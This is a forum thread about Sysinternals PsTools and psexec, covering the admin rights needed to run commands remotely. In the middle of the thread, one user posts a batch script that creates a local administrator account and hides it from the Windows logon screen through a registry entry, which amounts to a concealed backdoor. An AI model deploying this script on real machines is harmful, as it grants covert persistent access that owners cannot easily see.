Jump to content

PsTools, how


ZeroBeat

Recommended Posts

Well this may sound like a noob question, but I'm currently running Linux, so I am not able to try this out myself. I have looked a little at the SysInternal tool "PsTools" for remotely running commands, on different computers. I can easily so how I am suppose to use it, but does anyone know what it requires on the other side, I guess you would need some kind of access to the remote user, to avoid you from just running whatever en an entire network, or is it simply just the script kitties wet dream?

Anybody had any experience with it?

Link to comment
Share on other sites

i haven't look at PsTools but for running commands remotely u need to be authenticated to the remote machine as administrator or have the same privs.

personally i use autoit scripting language (found at www.autoit.com) to create gui interface to run remote commands using WMI.

hope this helps

Link to comment
Share on other sites

psexec you need admin privelegest to run over the network...

pstools is a set of tools that do a bunch of really cool stuff... has nothing to do with script kiddies

I know it is for network administration, and have looked through it, I just got concerned, when it did not appear anyway on the technet webpage, that it was meant as a tool for corporate networks

Link to comment
Share on other sites

Well this may sound like a noob question, but I'm currently running Linux, so I am not able to try this out myself. I have looked a little at the SysInternal tool "PsTools" for remotely running commands, on different computers. I can easily so how I am suppose to use it, but does anyone know what it requires on the other side, I guess you would need some kind of access to the remote user, to avoid you from just running whatever en an entire network, or is it simply just the script kitties wet dream?

Anybody had any experience with it?

I think this has been mentioned, but you're looking for "psexec". To run it you require Administrator privileges on the remote computer and access to the remote computers ADMIN$ share.

Link to comment
Share on other sites

I think this has been mentioned, but you're looking for "psexec". To run it you require Administrator privileges on the remote computer and access to the remote computers ADMIN$ share.

So something like this might do the trick? (Batch file in case someone would not know ;))

@echo off

set DEST=.

set USER=RemoteSys

set PASS=mypassword

cls

# Creates the registry tweaks for hiding the user

ECHO REGEDIT4 > "regpatch.reg"

ECHO. >> "regpatch.reg"

ECHO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList >> "regpatch.reg"

ECHO "%USER%"="dword:00000001">> "regpatch.reg"

ECHO. >> "regpatch.reg"

# Creates the user and tries to add it to the admin group

echo Setting up remote acces for user: %USERNAME% > "%DEST%\log-%USERNAME%.txt"

net user %USER% %PASS% /add >> "%DEST%\log-%USERNAME%.txt"

net localgroup Adminstratorer %USER% /ADD >> "%DEST%\log-%USERNAME%.txt"

net localgroup Adminstrators %USER% /ADD >> "%DEST%\log-%USERNAME%.txt"

regedit /S regpatch.reg >> "%DEST%\log-%USERNAME%.txt"

# Cleaning up

del regpatch.reg

# Saves the information to the disired location

ipconfig >> "%DEST%\ip-%USERNAME%.txt"

Or am I totally of?

Link to comment
Share on other sites

I think that'll work to get you an account on that machine as an Admin.

What's curious to me, though, since my scripting is a bit rusty: Why do you need that cls on the 5th line if @echo off has all ready executed?

Well echo off only prevents the input from being shown, output is still shown.

Link to comment
Share on other sites

PSTools is designed to manage a large group of Window's machines. I use this on a daily basis. It allows you execute remote commands to Window's PCs that you have access to.

For example, I have some vbscripts that run automation for me. I can remotely tell my automation system to begin the test by executing PS tools:

cmd > psexec \\automation -u administrator -p password "c:\startAutomation.bat"

You can also use them to reboot, gather information about the system etc.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...